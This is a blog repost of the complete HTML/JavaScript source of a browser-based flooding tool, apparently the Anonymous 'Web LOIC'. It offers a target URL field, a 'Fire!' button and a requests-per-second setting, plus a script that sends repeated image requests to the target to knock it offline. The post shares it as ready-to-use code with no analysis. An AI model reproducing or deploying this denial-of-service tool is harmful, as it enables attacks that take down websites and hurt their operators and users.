<html>
<head>
<STYLE type="text/css">
body {background-color : black; color: white; text-align: center; width: 550px; margin: auto;}
</STYLE>
</head>
<body>
<script type="text/javascript">
function setAttributeOnload(object, attribute, val) {
if(window.addEventListener) {
window.addEventListener("load",
function(){ object[attribute] = val; }, false);
} else {
window.attachEvent('onload', function(){ object[attribute] = val; });
}
}
</script>
<div align="center">
<h1>DO NOT USE TOR !</h1>
<h2>By using TOR, you hit the Tor exit node, not the target! Do not use it !<br />
<br />
</h2>
</div>
<div align="center">
<fieldset style="width: 100%; height: 100%;">
<legend><span class="Estilo3"><strong>Step 1. Select Target: </strong></span></legend>
<div align="center">URL:</div>
</label>
</strong></span>
<div align="center"><br />
<input name="Our target" id="targetURL" style="width: 100%;" value="http://www.target.com"/>
</div>
</fieldset>
<div align="center">
<fieldset style="width: 100%; height: 100%;">
<legend><span class="Estilo3"><strong>Step 2. AIM YOUR CANNONS!</strong></span></legend>
<button id="fireButton" style="background-color:red; border-color: rgb(255, 255, 255); width: 240px; height: 100px;"> <h1>Fire !</h1> </button>
</fieldset>
</div>
<div align="center">
<fieldset style="width: 100%; height: 100%;">
<legend><span class="Estilo3">Optional. Attack Options </span></legend>
<div align="center">Requests per second:</div>
<label>
<div align="center">
<input style="width: 40px;" id="rps" value="100" />
</div>
</label>
<label>
<div align="center"><span class="Estilo3"><strong>Message:</strong></span><br />
<input id="message" style="width: 100%;" value="We Are Legion ! Expect us !" />
</div>
</label>
</fieldset>
<div align="center">
<fieldset style="width: 100%; height: 100%;">
<legend><span class="Estilo3">Attack status:</span></legend>
<dl>
<dt><strong>Request:</strong></dt>
<dd class="Estilo2" id="requestedCtr">0</dd>
<dt><strong>Achieved:</strong></dt>
<dd class="Estilo3" id="succeededCtr">0</dd>
<dt><strong>Failed:</strong></dt>
<dd class="Estilo2" id="failedCtr">0</dd>
</dl>
</fieldset>
</div>
</div>
<div align="center">
<script>
(function () {
var fireInterval;
var isFiring = false;
var currentTime = new Date()
var lastSuccess = currentTime.getTime();
var requestedCtrNode = document.getElementById("requestedCtr"),
succeededCtrNode = document.getElementById("succeededCtr"),
failedCtrNode = document.getElementById("failedCtr"),
targetURLNode = document.getElementById("targetURL"),
fireButton = document.getElementById("fireButton"),
messageNode = document.getElementById("message"),
rpsNode = document.getElementById("rps"),
timeoutNode = document.getElementById("timeout");
var targetURL = targetURLNode.value;
targetURLNode.onchange = function () {
targetURL = this.value;
};
var requestsHT = {}; // requests hash table, may come in handy later
var requestedCtr = 0,
succeededCtr = 0,
failedCtr = 0;
var makeHttpRequest = function () {
if ( (currentTime.getTime()-lastSuccess) > 10000) { //Allow no more than 1000 hung requests
return;
} else { lastSuccess = currentTime.getTime();};
var rID =Number(new Date());
var img = new Image();
img.onerror = function () { onFail(rID); };
img.onabort = function () { onFail(rID); };
img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
requestsHT[rID] = img;
onRequest(rID);
};
var onRequest = function (rID) {
requestedCtr++;
requestedCtrNode.innerHTML = requestedCtr;
};
var onComplete = function (rID) {
delete requestsHT[rID];
};
var onFail = function (rID) {
failedCtr++;
failedCtrNode.innerHTML = failedCtr;
succeededCtr++; //Seems like the url will always fail it it isn't an image
succeededCtrNode.innerHTML = succeededCtr;
delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
};
var onSuccess = function (rID) {
succeededCtr++;
succeededCtrNode.innerHTML = succeededCtr;
delete requestsHT[rID];
};
fireButton.onclick = function () {
if (isFiring) {
clearInterval(fireInterval);
isFiring = false;
this.innerHTML = "Fire Again!";
} else {
isFiring = true;
this.innerHTML = "Stop Shooting!";
fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
}
};
function FireIbero() {
if (isFiring) {
clearInterval(fireInterval);
isFiring = false;
this.innerHTML = "Shoot Again!";
} else {
isFiring = true;
this.innerHTML = "Stop flooding";
fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
}
}; })();
</script>
</div>
</body>
</html>
Tuesday, August 28, 2012
Source Code Web Loic
Langsung Aja Berikut Ini Source Code Web Loic Dari Anonymouse...
Label:
programming
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